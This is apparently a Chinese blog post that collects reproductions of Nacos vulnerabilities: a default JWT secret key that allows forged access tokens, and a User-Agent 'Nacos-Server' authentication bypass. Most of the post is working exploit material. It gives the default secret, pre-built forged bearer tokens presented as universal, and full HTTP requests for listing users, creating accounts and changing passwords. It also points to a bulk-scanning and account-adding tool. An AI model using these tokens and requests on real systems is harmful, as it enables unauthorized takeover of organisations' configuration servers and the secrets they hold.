Nacos漏洞复现合集

本文主要复现nacos的一些经典漏洞,既是分享也是为了记录自己的成长,近期会持续更新。

1. QVD-2023-6271 Nacos身份绕过漏洞

1.1 漏洞级别 :高危

1.2 漏洞描述:低版本的Nacos存在默认的scertkey在未更换的情况下可以生成任意的可用accesstoken

1.3利用范围

nacos <=2.2.0

1.4 漏洞复现

先来重点介绍一下如何任意生成一个可用的accesstoken
在nacos中accesstoken的生成是通过jwt的字符串创建的。
在nacos中默认的secertkey为:

SecretKey012345678901234567890123456789012345678901234567890123456789

jwt的payload参数为

{
  "sub": "nacos",
  "exp": 1699974368
}
#其中exp为时间戳,实际测试中这个时间戳早于或晚于当前时间都可以生效,如果无效的话可以调整时间戳到当前时间以后

至此一份完整的jwt生成数据就形成了
在这里插入图片描述注:请注意红框部分的secret base64 encoded 必须勾选,否则生成的encoded就是错误的,笔者在此踩过雷。

至此万能accesstoken就生成了,实际测试一下:
在login接口的header添加下列参数

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

一个完整的request包如下:(username和password可以随意填写)

POST /nacos/v1/auth/users/login HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

username=nacos&password=123456

如果之前的jwt生成时间戳在当前时间之前,会返回
在这里插入图片描述
在当前时间之后则会返回
在这里插入图片描述
这2种情况下生成的accesstoken都是有效的。

1.4.2 以admin账户登录

上文介绍了快速登录的方案,如果想要以现有的某个账号登录进去可以进行如下操作:
bp进行登录抓包:
header中添加如下参数,放行数据包即可登录

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

在这里插入图片描述username为想要登录的账号,如下图登录成功
在这里插入图片描述

1.4.3 漏洞速通

上文介绍了漏洞的利用原理和生成模式,实际上,由于secretkey一致,所有人通过该方法生成的accesstoken都是通用的。

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTk3NDM2OH0.q9Jd50oWXMn4cJAgwWK4BfdQ0yZWxwpXTJuW_fmOS5w
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

上文给出的2个jwt都是可以直接使用的,无需再次构建。
推荐一个github项目 https://github.com/Pizz33/nacos_vul
其中nacosvul.py可以批量检测目标网站是否存在漏洞
nacosadd.py可以直接生成账号,执行

python3 nacosadd.py url

在这里插入图片描述通过这个账号即可正常登录

2. CVE-2021-29441 Nacos未授权访问

2.1 漏洞级别 :高危

2.2 漏洞描述:

当 nacos 在执行身份验证和授权操作时确定请求的用户代理是否为“Nacos-Server”时,由于简单的配置,通过利用此未经授权的漏洞,攻击者直接执行nacos的相关api接口进行漏洞利用

2.3 利用范围

nacos <=2.0.0-ALPHA.1

2.4 漏洞复现

访问如下链接:

url/nacos/v1/auth/users?pageNo=1&pageSize=2
#pageNo表示第几页,pageSize表示一页显示几个账号,可以根据需要修改

默认配置下就可以直接显示服务下的账号信息
在这里插入图片描述
这里可以正常显示的话就表示漏洞可以正常利用,构造包

POST /nacos/v1/auth/users?username=test&password=123456 HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 19

pageNo=1&pageSize=10
  • 其中username和password即为新增的账号密码
  • user-Agent需要设置为Nacos-Server (第一步同理,也需要配置)
  • 如果返回"create user ok!" 即利用成功
    在这里插入图片描述
    注:在1.4.1版本下测试时,发现agent不修改的情况下,就可以直接执行相关操作,这可能Nacos的默认权限配置有关,有研究的大佬也可以留言交流一下~

3 Nacos漏洞利用进阶

上文介绍的几种漏洞利用方案是添加账号的方式,其实Nacos中账号操作的api有不少,在同等权限下也是可以利用,下文会介绍几种常见的api,大家可以自由选择利用方案。

3.1 创建用户

3.1.1 未授权接口

POST /nacos/v1/auth/users?username=test&password=123456 HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 19

pageNo=1&pageSize=10

3.1.2 需校验接口

POST /nacos/v1/auth/users HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Te: trailers
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTk3NDM2OH0.q9Jd50oWXMn4cJAgwWK4BfdQ0yZWxwpXTJuW_fmOS5w

username=test&password=123456

3.2 修改密码

PUT /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWhhIiwiZXhwIjoxNjk5OTcxMzE1fQ.s5ckzB9vIE9QrG2eaeCtpUTGiiwekihWeYGHVU9LvOo HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Accesstoken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWhhIiwiZXhwIjoxNjk5OTcxMzE1fQ.s5ckzB9vIE9QrG2eaeCtpUTGiiwekihWeYGHVU9LvOo
Content-Length: 31
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

username=haha&newPassword=12345